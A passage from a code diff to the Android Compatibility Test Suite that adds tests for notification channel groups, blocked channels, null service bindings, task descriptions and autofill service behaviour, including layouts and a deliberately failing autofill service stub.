channel.setGroup(ncg.getId());
mNotificationManager.createNotificationChannelGroup(ncg);
+ final NotificationChannel ungrouped =
+ new NotificationChannel(mId + "!", "name", NotificationManager.IMPORTANCE_DEFAULT);
try {
mNotificationManager.createNotificationChannel(channel);
+ mNotificationManager.createNotificationChannel(ungrouped);
List<NotificationChannelGroup> ncgs =
mNotificationManager.getNotificationChannelGroups();
assertEquals(1, ncgs.size());
- assertEquals(ncg, ncgs.get(0));
+ assertEquals(ncg.getName(), ncgs.get(0).getName());
+ assertEquals(ncg.getDescription(), ncgs.get(0).getDescription());
+ assertEquals(channel.getId(), ncgs.get(0).getChannels().get(0).getId());
} finally {
mNotificationManager.deleteNotificationChannelGroup(ncg.getId());
}
}
+ public void testGetChannelGroup() throws Exception {
+ final NotificationChannelGroup ncg = new NotificationChannelGroup("a group", "a label");
+ ncg.setDescription("bananas");
+ final NotificationChannelGroup ncg2 = new NotificationChannelGroup("group 2", "label 2");
+ final NotificationChannel channel =
+ new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ channel.setGroup(ncg.getId());
+
+ mNotificationManager.createNotificationChannelGroup(ncg);
+ mNotificationManager.createNotificationChannelGroup(ncg2);
+ mNotificationManager.createNotificationChannel(channel);
+
+ NotificationChannelGroup actual =
+ mNotificationManager.getNotificationChannelGroup(ncg.getId());
+ assertEquals(ncg.getId(), actual.getId());
+ assertEquals(ncg.getName(), actual.getName());
+ assertEquals(ncg.getDescription(), actual.getDescription());
+ assertEquals(channel.getId(), actual.getChannels().get(0).getId());
+ }
+
public void testDeleteChannelGroup() throws Exception {
final NotificationChannelGroup ncg = new NotificationChannelGroup("a group", "a label");
final NotificationChannel channel =
@@ -151,6 +182,46 @@
mNotificationManager.getNotificationChannel(mId).getImportance());
}
+ public void testCreateChannel_addToGroup() throws Exception {
+ String oldGroup = null;
+ String newGroup = "new group";
+ mNotificationManager.createNotificationChannelGroup(
+ new NotificationChannelGroup(newGroup, newGroup));
+
+ NotificationChannel channel =
+ new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ channel.setGroup(oldGroup);
+ mNotificationManager.createNotificationChannel(channel);
+
+ channel.setGroup(newGroup);
+ mNotificationManager.createNotificationChannel(channel);
+
+ final NotificationChannel updatedChannel =
+ mNotificationManager.getNotificationChannel(mId);
+ assertEquals("Failed to add non-grouped channel to a group on update ",
+ newGroup, updatedChannel.getGroup());
+ }
+
+ public void testCreateChannel_cannotChangeGroup() throws Exception {
+ String oldGroup = "old group";
+ String newGroup = "new group";
+ mNotificationManager.createNotificationChannelGroup(
+ new NotificationChannelGroup(oldGroup, oldGroup));
+ mNotificationManager.createNotificationChannelGroup(
+ new NotificationChannelGroup(newGroup, newGroup));
+
+ NotificationChannel channel =
+ new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ channel.setGroup(oldGroup);
+ mNotificationManager.createNotificationChannel(channel);
+ channel.setGroup(newGroup);
+ mNotificationManager.createNotificationChannel(channel);
+ final NotificationChannel updatedChannel =
+ mNotificationManager.getNotificationChannel(mId);
+ assertEquals("Channels should not be allowed to change groups",
+ oldGroup, updatedChannel.getGroup());
+ }
+
public void testCreateSameChannelDoesNotUpdate() throws Exception {
final NotificationChannel channel =
new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
@@ -328,6 +399,54 @@
}
}
+ public void testNotify_blockedChannel() throws Exception {
+ mNotificationManager.cancelAll();
+
+ NotificationChannel channel =
+ new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_NONE);
+ mNotificationManager.createNotificationChannel(channel);
+
+ int id = 1;
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setWhen(System.currentTimeMillis())
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
+ fail("found unexpected notification id=" + id);
+ }
+ }
+
+ public void testNotify_blockedChannelGroup() throws Exception {
+ mNotificationManager.cancelAll();
+
+ NotificationChannelGroup group = new NotificationChannelGroup(mId, "group name");
+ group.setBlocked(true);
+ mNotificationManager.createNotificationChannelGroup(group);
+ NotificationChannel channel =
+ new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ channel.setGroup(mId);
+ mNotificationManager.createNotificationChannel(channel);
+
+ int id = 1;
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setWhen(System.currentTimeMillis())
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
+ fail("found unexpected notification id=" + id);
+ }
+ }
+
public void testCancel() throws Exception {
final int id = 9;
sendNotification(id, R.drawable.black);
@@ -683,6 +802,7 @@
found = false;
final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
for (StatusBarNotification sbn : sbns) {
+ Log.d(TAG, "Found " + sbn.getKey());
if (sbn.getId() == id) {
found = true;
break;
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 5f8202d..d660040 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -26,6 +26,7 @@
import android.app.stubs.LocalForegroundService;
import android.app.stubs.LocalGrantedService;
import android.app.stubs.LocalService;
+import android.app.stubs.NullService;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -36,6 +37,7 @@
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
+import android.os.SystemClock;
import android.service.notification.StatusBarNotification;
import android.test.suitebuilder.annotation.MediumTest;
import android.util.Log;
@@ -85,6 +87,41 @@
}
}
+ private static class NullServiceConnection implements ServiceConnection {
+ boolean mNullBinding = false;
+
+ @Override public void onServiceConnected(ComponentName name, IBinder service) {}
+ @Override public void onServiceDisconnected(ComponentName name) {}
+
+ @Override
+ public void onNullBinding(ComponentName name) {
+ synchronized (this) {
+ mNullBinding = true;
+ this.notifyAll();
+ }
+ }
+
+ public void waitForNullBinding(final long timeout) {
+ long now = SystemClock.uptimeMillis();
+ final long end = now + timeout;
+ synchronized (this) {
+ while (!mNullBinding && (now < end)) {
+ try {
+ this.wait(end - now);
+ } catch (InterruptedException e) {
+ }
+ now = SystemClock.uptimeMillis();
+ }
+ }
+ }
+
+ public boolean nullBindingReceived() {
+ synchronized (this) {
+ return mNullBinding;
+ }
+ }
+ }
+
private class TestConnection implements ServiceConnection {
private final boolean mExpectDisconnect;
private final boolean mSetReporter;
@@ -831,4 +868,28 @@
// expected
}
}
+
+ /**
+ * Verify that when the requested service's onBind() returns null,
+ * the connection's onNullBinding() method is invoked.
+ */
+ @MediumTest
+ public void testNullServiceBinder() throws Exception {
+ Intent intent = new Intent(mContext, NullService.class);
+ intent.setAction("testNullServiceBinder");
+ NullServiceConnection conn1 = new NullServiceConnection();
+ NullServiceConnection conn2 = new NullServiceConnection();
+ try {
+ assertTrue(mContext.bindService(intent, conn1, Context.BIND_AUTO_CREATE));
+ conn1.waitForNullBinding(DELAY);
+ assertTrue(conn1.nullBindingReceived());
+
+ assertTrue(mContext.bindService(intent, conn2, Context.BIND_AUTO_CREATE));
+ conn2.waitForNullBinding(DELAY);
+ assertTrue(conn2.nullBindingReceived());
+ } finally {
+ mContext.unbindService(conn1);
+ mContext.unbindService(conn2);
+ }
+ }
}
diff --git a/tests/app/src/android/app/cts/TaskDescriptionTest.java b/tests/app/src/android/app/cts/TaskDescriptionTest.java
new file mode 100644
index 0000000..408930e
--- /dev/null
+++ b/tests/app/src/android/app/cts/TaskDescriptionTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.cts;
+
+import static android.content.Context.ACTIVITY_SERVICE;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityManager;
+import android.app.ActivityManager.RecentTaskInfo;
+import android.app.ActivityManager.TaskDescription;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.platform.test.annotations.Presubmit;
+import java.util.List;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.app.Activity;
+import android.app.stubs.MockActivity;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+/**
+ * Build: mmma -j32 cts/tests/app
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsAppTestCases android.app.cts.TaskDescriptionTest
+ */
+@RunWith(AndroidJUnit4.class)
+@Presubmit
+public class TaskDescriptionTest {
+ private static final String TEST_LABEL = "test-label";
+ private static final int TEST_NO_DATA = 0;
+ private static final int TEST_RES_DATA = 777;
+ private static final int TEST_COLOR = Color.BLACK;
+
+ @Rule
+ public ActivityTestRule<MockActivity> mTaskDescriptionActivity =
+ new ActivityTestRule<>(MockActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Test
+ public void testBitmapConstructor() throws Exception {
+ final Activity activity = mTaskDescriptionActivity.launchActivity(null);
+ final Bitmap bitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
+ bitmap.eraseColor(0);
+ activity.setTaskDescription(new TaskDescription(TEST_LABEL, bitmap, TEST_COLOR));
+ assertTaskDescription(activity, TEST_LABEL, TEST_NO_DATA);
+ }
+
+ @Test
+ public void testResourceConstructor() throws Exception {
+ final Activity activity = mTaskDescriptionActivity.launchActivity(null);
+ activity.setTaskDescription(new TaskDescription(TEST_LABEL, TEST_RES_DATA, TEST_COLOR));
+ assertTaskDescription(activity, TEST_LABEL, TEST_RES_DATA);
+ }
+
+ private void assertTaskDescription(Activity activity, String label, int resId) {
+ final ActivityManager am = (ActivityManager) activity.getSystemService(ACTIVITY_SERVICE);
+ List<RecentTaskInfo> recentsTasks = am.getRecentTasks(1 /* maxNum */, 0 /* flags */);
+ if (!recentsTasks.isEmpty()) {
+ final RecentTaskInfo info = recentsTasks.get(0);
+ if (activity.getTaskId() == info.id) {
+ final TaskDescription td = info.taskDescription;
+ assertNotNull(td);
+ if (resId == TEST_NO_DATA) {
+ assertNotNull(td.getIcon());
+ assertNotNull(td.getIconFilename());
+ } else {
+ assertNull(td.getIconFilename());
+ assertNull(td.getIcon());
+ }
+ assertEquals(resId, td.getIconResource());
+ assertEquals(label, td.getLabel());
+ return;
+ }
+ }
+ fail("Did not find activity (id=" + activity.getTaskId() + ") in recent tasks list");
+ }
+}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
index 9cad7a3..0c9f48d 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -123,6 +123,11 @@
String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
}
+ public void removeFromTempWhitelist() throws IOException {
+ String cmd = "cmd deviceidle tempwhitelist -r " + mServicePackage;
+ SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
public void cleanup() throws IOException {
removeFromWhitelist();
allowBackgroundOp();
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index b8ab1f9..90bbfa3 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -66,6 +66,14 @@
<activity android:name=".WebViewActivity"/>
<activity android:name=".TrampolineWelcomeActivity"/>
<activity android:name=".AttachedContextActivity"/>
+ <activity android:name=".DialogLauncherActivity" >
+ <intent-filter>
+ <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+ this app during CTS development... -->
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
<service
android:name=".InstrumentedAutoFillService"
@@ -83,6 +91,15 @@
<action android:name="android.service.autofill.AutofillService" />
</intent-filter>
</service>
+ <!-- BadAutofillService does not declare the proper permission -->
+ <service
+ android:name=".BadAutofillService"
+ android:label="BadAutofillService"
+ android:permission="android.permission.BIND_AUTOFILL" >
+ <intent-filter>
+ <action android:name="android.service.autofill.AutofillService" />
+ </intent-filter>
+ </service>
</application>
<instrumentation
diff --git a/tests/autofillservice/res/layout/dialog_launcher_activity.xml b/tests/autofillservice/res/layout/dialog_launcher_activity.xml
new file mode 100644
index 0000000..62d6d9b
--- /dev/null
+++ b/tests/autofillservice/res/layout/dialog_launcher_activity.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:focusable="true"
+ android:focusableInTouchMode="true"
+ android:importantForAutofill="noExcludeDescendants"
+ android:orientation="vertical" >
+
+ <Button
+ android:id="@+id/launch_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Launch" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/login_activity.xml b/tests/autofillservice/res/layout/login_activity.xml
index e16d1c4..2a971b1 100644
--- a/tests/autofillservice/res/layout/login_activity.xml
+++ b/tests/autofillservice/res/layout/login_activity.xml
@@ -37,6 +37,9 @@
<EditText
android:id="@+id/username"
+ android:minEms="2"
+ android:maxEms="5"
+ android:maxLength="25"
android:layout_width="match_parent"
android:layout_height="wrap_content" />
</LinearLayout>
diff --git a/tests/autofillservice/res/layout/third_line_only.xml b/tests/autofillservice/res/layout/third_line_only.xml
new file mode 100644
index 0000000..0267c94
--- /dev/null
+++ b/tests/autofillservice/res/layout/third_line_only.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/third"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
diff --git a/tests/autofillservice/res/layout/three_horizontal_text_fields_last_two_invisible.xml b/tests/autofillservice/res/layout/three_horizontal_text_fields_last_two_invisible.xml
new file mode 100644
index 0000000..3a96389
--- /dev/null
+++ b/tests/autofillservice/res/layout/three_horizontal_text_fields_last_two_invisible.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="horizontal"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+
+ <TextView android:id="@+id/static_text"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:text="YO:"/>
+
+ <TextView android:id="@+id/first"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+
+ <TextView android:id="@+id/second"
+ android:text="2ND, Y U NO HIDDEN?"
+ android:visibility="invisible"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+
+ <TextView android:id="@+id/third"
+ android:text="3RD, Y U NO HIDDEN?"
+ android:visibility="invisible"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+
+ <ImageView android:id="@+id/img"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
index 944f926..773afae 100644
--- a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
+++ b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
@@ -16,6 +16,7 @@
-->
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/parent"
android:orientation="horizontal"
android:layout_width="match_parent"
android:layout_height="wrap_content">
diff --git a/tests/autofillservice/res/layout/webview_activity.xml b/tests/autofillservice/res/layout/webview_activity.xml
index a975186..8740273 100644
--- a/tests/autofillservice/res/layout/webview_activity.xml
+++ b/tests/autofillservice/res/layout/webview_activity.xml
@@ -14,8 +14,55 @@
* See the License for the specific language governing permissions and
* limitations under the License.
-->
-<WebView xmlns:android="http://schemas.android.com/apk/res/android"
- android:id="@+id/webview"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
-/>
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:focusable="true"
+ android:focusableInTouchMode="true"
+ android:orientation="vertical" >
+
+ <LinearLayout
+ android:id="@+id/outsideContainer1"
+ android:visibility="gone"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Outside 1" />
+
+ <EditText
+ android:id="@+id/outside1"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" />
+ </LinearLayout>
+
+ <LinearLayout
+ android:id="@+id/outsideContainer2"
+ android:visibility="gone"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Outside 2" />
+
+ <EditText
+ android:id="@+id/outside2"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" />
+ </LinearLayout>
+
+ <android.autofillservice.cts.MyWebView
+ android:id="@+id/webview"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent"
+ />
+
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java
new file mode 100644
index 0000000..af713d3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.text.Editable;
+import android.text.TextWatcher;
+import android.widget.EditText;
+
+import java.util.regex.Pattern;
+
+/**
+ * A {@link TextWatcher} that appends pound signs ({@code #} at the beginning and end of the text.
+ */
+public final class AntiTrimmerTextWatcher implements TextWatcher {
+
+ /**
+ * Regex used to revert a String that was "anti-trimmed".
+ */
+ public static final Pattern TRIMMER_PATTERN = Pattern.compile("#(.*)#");
+
+ private final EditText mView;
+
+ public AntiTrimmerTextWatcher(EditText view) {
+ mView = view;
+ mView.addTextChangedListener(this);
+ }
+
+ @Override
+ public void onTextChanged(CharSequence s, int start, int before, int count) {
+ mView.removeTextChangedListener(this);
+ mView.setText("#" + s + "#");
+ }
+
+ @Override
+ public void beforeTextChanged(CharSequence s, int start, int count, int after) {
+ }
+
+ @Override
+ public void afterTextChanged(Editable s) {
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
index 570de4e..62072c3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
@@ -50,6 +50,13 @@
private static final String EXTRA_DATASET_ID = "dataset_id";
private static final String EXTRA_RESPONSE_ID = "response_id";
+ /**
+ * When launched with this intent, it will pass it back to the
+ * {@link AutofillManager#EXTRA_CLIENT_STATE} of the result.
+ */
+ private static final String EXTRA_OUTPUT_CLIENT_STATE = "output_client_state";
+
+
private static final int MSG_WAIT_FOR_LATCH = 1;
private static Bundle sData;
@@ -84,10 +91,15 @@
*/
public static IntentSender createSender(Context context, int id,
CannedDataset dataset) {
+ return createSender(context, id, dataset, null);
+ }
+
+ public static IntentSender createSender(Context context, int id,
+ CannedDataset dataset, Bundle outClientState) {
Preconditions.checkArgument(id > 0, "id must be positive");
Preconditions.checkState(sDatasets.get(id) == null, "already have id");
sDatasets.put(id, dataset);
- return createSender(context, EXTRA_DATASET_ID, id);
+ return createSender(context, EXTRA_DATASET_ID, id, outClientState);
}
/**
@@ -95,15 +107,25 @@
*/
public static IntentSender createSender(Context context, int id,
CannedFillResponse response) {
+ return createSender(context, id, response, null);
+ }
+
+ public static IntentSender createSender(Context context, int id,
+ CannedFillResponse response, Bundle outData) {
Preconditions.checkArgument(id > 0, "id must be positive");
Preconditions.checkState(sResponses.get(id) == null, "already have id");
sResponses.put(id, response);
- return createSender(context, EXTRA_RESPONSE_ID, id);
+ return createSender(context, EXTRA_RESPONSE_ID, id, outData);
}
- private static IntentSender createSender(Context context, String extraName, int id) {
+ private static IntentSender createSender(Context context, String extraName, int id,
+ Bundle outClientState) {
final Intent intent = new Intent(context, AuthenticationActivity.class);
intent.putExtra(extraName, id);
+ if (outClientState != null) {
+ Log.d(TAG, "Create with " + outClientState + " as " + EXTRA_OUTPUT_CLIENT_STATE);
+ intent.putExtra(EXTRA_OUTPUT_CLIENT_STATE, outClientState);
+ }
final PendingIntent pendingIntent = PendingIntent.getActivity(context, id, intent, 0);
sPendingIntents.add(pendingIntent);
return pendingIntent.getIntentSender();
@@ -213,6 +235,13 @@
// Pass on the auth result
final Intent intent = new Intent();
intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
+
+ final Bundle outClientState = getIntent().getBundleExtra(EXTRA_OUTPUT_CLIENT_STATE);
+ if (outClientState != null) {
+ Log.d(TAG, "Adding " + outClientState + " as " + AutofillManager.EXTRA_CLIENT_STATE);
+ intent.putExtra(AutofillManager.EXTRA_CLIENT_STATE, outClientState);
+ }
+
final int resultCode;
synchronized (sLock) {
resultCode = sResultCode;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 74e168b..48b190b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -39,8 +39,6 @@
import org.junit.Rule;
import org.junit.runner.RunWith;
-import java.util.List;
-
/**
* Base class for all other tests.
*/
@@ -62,6 +60,12 @@
public final RequiredFeatureRule mRequiredFeatureRule =
new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
+ @Rule
+ public final SafeCleanerRule mSafeCleanerRule = new SafeCleanerRule()
+ .run(() -> sReplier.assertNumberUnhandledFillRequests(0))
+ .run(() -> sReplier.assertNumberUnhandledSaveRequests(0))
+ .add(() -> { return sReplier.getExceptions(); });
+
protected final Context mContext;
protected final String mPackageName;
/**
@@ -130,24 +134,6 @@
}
}
- // TODO: we shouldn't throw exceptions on @After / @AfterClass because if the test failed, these
- // exceptions would mask the real cause. A better approach might be using a @Rule or some other
- // visitor pattern.
- @After
- public void assertNothingIsPending() throws Throwable {
- final MultipleExceptionsCatcher catcher = new MultipleExceptionsCatcher()
- .run(() -> sReplier.assertNumberUnhandledFillRequests(0))
- .run(() -> sReplier.assertNumberUnhandledSaveRequests(0));
-
- final List<Exception> replierExceptions = sReplier.getExceptions();
- if (replierExceptions != null) {
- for (Exception e : replierExceptions) {
- catcher.add(e);
- }
- }
- catcher.throwIfAny();
- }
-
@After
public void ignoreFurtherRequests() {
InstrumentedAutoFillService.setIgnoreUnexpectedRequests(true);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
index b966078..ed34bcd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
@@ -68,7 +68,7 @@
// Set expectations.
sReplier.addResponse(new CannedFillResponse.Builder()
- .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+ .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, viewsToSave).build());
// Trigger autofill
@@ -185,7 +185,7 @@
// Set expectations.
sReplier.addResponse(new CannedFillResponse.Builder()
- .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+ .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText1").build());
// Trigger autofill
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
index 92a19a3..07162f2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
@@ -52,8 +52,12 @@
try {
base.evaluate();
} catch (Throwable t) {
- final String dump = runShellCommand("dumpsys autofill");
- Log.e(mTag, "dump for " + description.getDisplayName() + ": \n" + dump, t);
+ final String name = description.getDisplayName();
+ final String autofillDump = runShellCommand("dumpsys autofill");
+ Log.e(mTag, "autofill dump for " + name + ": \n" + autofillDump, t);
+ final String activityDump =
+ runShellCommand("dumpsys activity android.autofillservice.cts");
+ Log.e(mTag, "activity dump for " + name + ": \n" + activityDump, t);
throw t;
} finally {
if (!levelBefore.equals("verbose")) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java
new file mode 100644
index 0000000..0f862f5
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillRequest;
+import android.service.autofill.SaveCallback;
+import android.service.autofill.SaveRequest;
+import android.util.Log;
+
+/**
+ * An {@link AutofillService} implementation that does fails if called upon.
+ */
+public class BadAutofillService extends AutofillService {
+
+ private static final String TAG = "BadAutofillService";
+
+ static final String SERVICE_NAME = BadAutofillService.class.getPackage().getName()
+ + "/." + BadAutofillService.class.getSimpleName();
+
+ @Override
+ public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+ FillCallback callback) {
+ Log.e(TAG, "onFillRequest() should never be called");
+ throw new UnsupportedOperationException("onFillRequest() should never be called");
+ }
+
+ @Override
+ public void onSaveRequest(SaveRequest request, SaveCallback callback) {
